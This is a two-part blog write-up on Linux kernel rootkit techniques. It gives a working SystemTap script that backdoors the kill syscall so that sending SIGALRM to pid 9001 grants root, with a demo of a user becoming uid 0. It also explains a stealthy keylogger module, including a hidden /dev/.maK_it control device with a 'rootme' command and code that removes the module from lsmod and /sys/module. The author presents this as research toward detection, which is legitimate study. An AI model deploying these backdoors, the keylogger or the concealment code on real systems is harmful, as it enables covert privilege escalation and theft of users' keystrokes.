Ninja access to root privileges from userspace

In this section I will be investigating a few different rootkit methods of escalating privileges from a regular user to a root user. I will then implement one of these methods in my kernel module.

The first method I would like to look at is triggering our root privileges by hijacking the kill system call. This involves replacing sys_kill with our own kill functionality. The idea here is to escalate the calling process to root when our regular user tries to kill a certain *secret* or *magic* process id. So lets have a look at the kill system call.

Kill ’em all!

By running the following:

stap -L syscall.kill

We can see the various variables our kill syscall has to deal with.

syscall.kill name:string pid:long sig:long argstr:string $pid:pid_t $sig:int $info:struct siginfo

As a test I ran the following systemtap script

//Run this using stap sys_kill.stp
#/usr/bin/env stap
probe syscall.kill{ 
	printf("name:%s\npid:%d\nsignal:%d\n",name,pid,sig)
}

I opened a new window and then ran kill 9001. I was greeted with the following output in the other window running our script:

name:kill
pid:9001
signal:15

Running kill -l we can read a list of the different signal numbers. We can easily see that signal 15 is SIGTERM. Using kill -s [SIGNAL NAME] 9001 we can then confirm that the other signals match up with our output. We can also see a value of 15 for the SIGTERM when we press ctrl+c to kill the stap script. This could also be confirmed using strace with the following command and output:

[root@localhost ~]# strace -e trace=kill kill 9001
kill(9001, SIGTERM)                     = -1 ESRCH (No such process)
kill 9001: No such process

Here we can see the return value and the message output to the terminal if the process/pid 9001 doesn’t exist. The next step is looking at ways to change the process credentials from our current user to root.

Escalating privileges

In order to raise the current users privileges to root we will need to look at /kernel/cred.c this file is included as part of linux/sched.h. We will need to include this in our module or stap script to use it.

The 2 functions we’ll be looking at are prepare_creds and commit_creds. We can read what they do from the kernel source…

prepare_creds:
Prepare a new set of task credentials for modification. A task's creds shouldn't generally be modified directly, therefore this function is used to prepare a new copy, which the caller then modifies and then commits by calling commit_creds().
commit_creds:
Install a new set of credentials to the current task, using RCU to replace the old set.  Both the objective and the subjective credentials pointers are updated. This function may not be called if the subjective credentials are in an overridden state.

What I have done is created a function to carry out this task. I will then use various methods of triggering this function. After it runs the calling user should have changed credentials, giving the process and our user root privileges. We can demonstrate this with the following systemtap script: r00t.stp

#!/usr/bin/env stap
%{
#include <linux/sched.h>
%}

function root_me:long() %{
        struct cred *haxcredentials;
        haxcredentials = prepare_creds();
        if (haxcredentials == NULL)
                return;
        haxcredentials->uid = haxcredentials->gid = 0;
        haxcredentials->euid = haxcredentials->egid = 0;
        haxcredentials->suid = haxcredentials->sgid = 0;
        haxcredentials->fsuid = haxcredentials->fsgid = 0;
        commit_creds(haxcredentials);
%}

probe syscall.kill{
    if(sig == 14 && pid == 9001){
        root_me()
    }
}

This is a good demonstration without the need to fully implement the same in a kernel module. As a regular user, running kill -s SIGALRM 9001 we can gain root privileges. Here is an example:
In one window we run the following

[root@localhost ~]# stap -g r00t.stp

In our second user window we run

[mak@localhost ~]$ id
uid=500(mak) gid=500(mak) groups=500(mak)
[mak@localhost ~]$ kill -s SIGALRM 9001
bash: kill: (9001) - No such process
[mak@localhost ~]$ id
uid=0(root) gid=0(root) groups=0(root),500(mak)

Using this same root_me function it is possible to escalate privileges under a large number of different circumstances. We could easily hijack any other system call and do the same thing using alternative conditions.

In the keylogger I recently wrote. I’ve implemented my own character device. Using this same method for passing commands via the device, I have included the option to give a regular user root privileges when they run the following:

echo rootme > /dev/.maK_it

This functionality will be part of the next code release I do. Next I plan on looking at hiding processes, files and maybe users.

Part 2: Stealing keyboard keys for fun & profit

This is the 2nd part of my research into Key logging from a kernel module. In this post I would like to dive into my implementation and explain the various techniques I have used. The code related to this blog post is available at the following location:
https://github.com/maK-/stealthy-Keylogger-lkm/

Keyboard notifier

As I mentioned in the previous post, I use a keyboard notifier function to capture the key press data. This allows me to access the raw KBD_KEYCODE and param->value data. Allowing me to map what keys are pressed to their ASCII character equivalents. I also needed to take into consideration whether the shift key was pressed in order to change the characters to caps or to get the alternative keyboard symbols.

On initiation of our module, I load a keyboard notifier using the following code.

register_keyboard_notifier(&nb);

This accepts a notifier_block struct &nb that contains a handler function of key_notify to manage our key presses. It is very easy to follow how the handler function works. It simply converts the param->value to our characters and stores them to a global character keyBuffer. On the exiting of our module we also need to unregister the notifier.

Registering a character device

I came across character devices when reading the following chapter of the Linux programming guide – Character devices. The character device allows us to create a file and manipulate it from within the kernel using the following defined file operations. We can create handler functions for each of these elements.

//File operations for device
struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = open_dev,
    .read = read_dev,
    .write = write_dev,
    .release = release_dev,
};

It is possible to register a character device with the following code. In order to register the device you need a name that will appear in /dev/DEVICE_NAME and a Major number for the device. This must be unique also. If you pass in 0 the kernel dynamically allocates a Major number for you. For my proof of concept code I used a Major number of 33. You can view the Major numbers and the associated devices by running the following:

ls -al /dev/ | awk '{print $5,$10}'

To register a character device you must use the following format. This is done on initiation of our module also and the device must be unregistered on exit. We can see our file operations struct is passed in also.

major = register_chrdev(DEVICE_MAJOR, DEVICE_NAME, &fops);

What the character device allowed me to do, was avoid having to read and write to a file from within the kernel. I can now perform operations when the file is accessed or written to. I used this to dump our logged keyBuffer characters whenever the /dev/.maK_it file is read. I could now also read commands that have been echo’d into the file that I store to another character buffer called commands. This allows me to control the module. I can turn on or off certain functionality or run functions within the kernel on request.

Hiding the module and Stealth

As I now have the option of passing in my own commands to the kernel. I added functionality to hide and reveal the module. This was very easy as the kernel provides a method for doing so.

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);

This removes the module from the module list (that is used by lsmod) and also removes the kobject from the /sys/module directory.This is very effective as it hides the module from all of the following commands. These are normally used to reveal kernel modules.

lsmod | grep maK
grep maK /proc/modules
grep maK_it /proc/kallsyms
ls /sys/module | grep maK
modinfo maK_it
modprobe -c | grep maK
ls /dev/

I needed to include a reveal functions also so I could rmmod our kernel module. What this does is add the module back to the list. This just involved storing the list items before I removed it and then adding it back afterwards.

list_add(&THIS_MODULE->list, modKobjList);

I also had to include the following in order to avoid ¬†warning messages flooding the logs. When we remove our objects from the /sys/module directory, the kernel complains when it can’t find them as you try remove the module. All this does is set the pointers to NULL so the kernel won’t look for them.


THIS_MODULE->sect_attrs = NULL;
THIS_MODULE->notes_attrs = NULL;

I hope this exploration has been informative and helps others if they decide to look into such things. There are other avenues for key logging I will be investigating in the later stages of the project. I would like to time the differences in the kernel keyboard stack with a key logger and without one using systemtap. The goal of this would be to develop a systemtap script that could detect such things in real time. I will cover this when I start looking at detection and mitigation techniques.

The next immediate step I will be moving on to, is the escalation of a normal user to root privileges. I will also be looking at methods of hiding and revealing files and processes.

Appendices

http://www.tldp.org/LDP/lkmpg/2.6/html/

Love, Robert. (2012). Devices and Modules. In: Linux Kernel Development. 3rd ed. USA, Indiana: Addison Wesley. 337-363.

http://appusajeev.wordpress.com/2011/06/18/writing-a-linux-character-device-driver/

http://stapbofh.krunch.be/systemtap-bofh-fosdem2011020501.pdf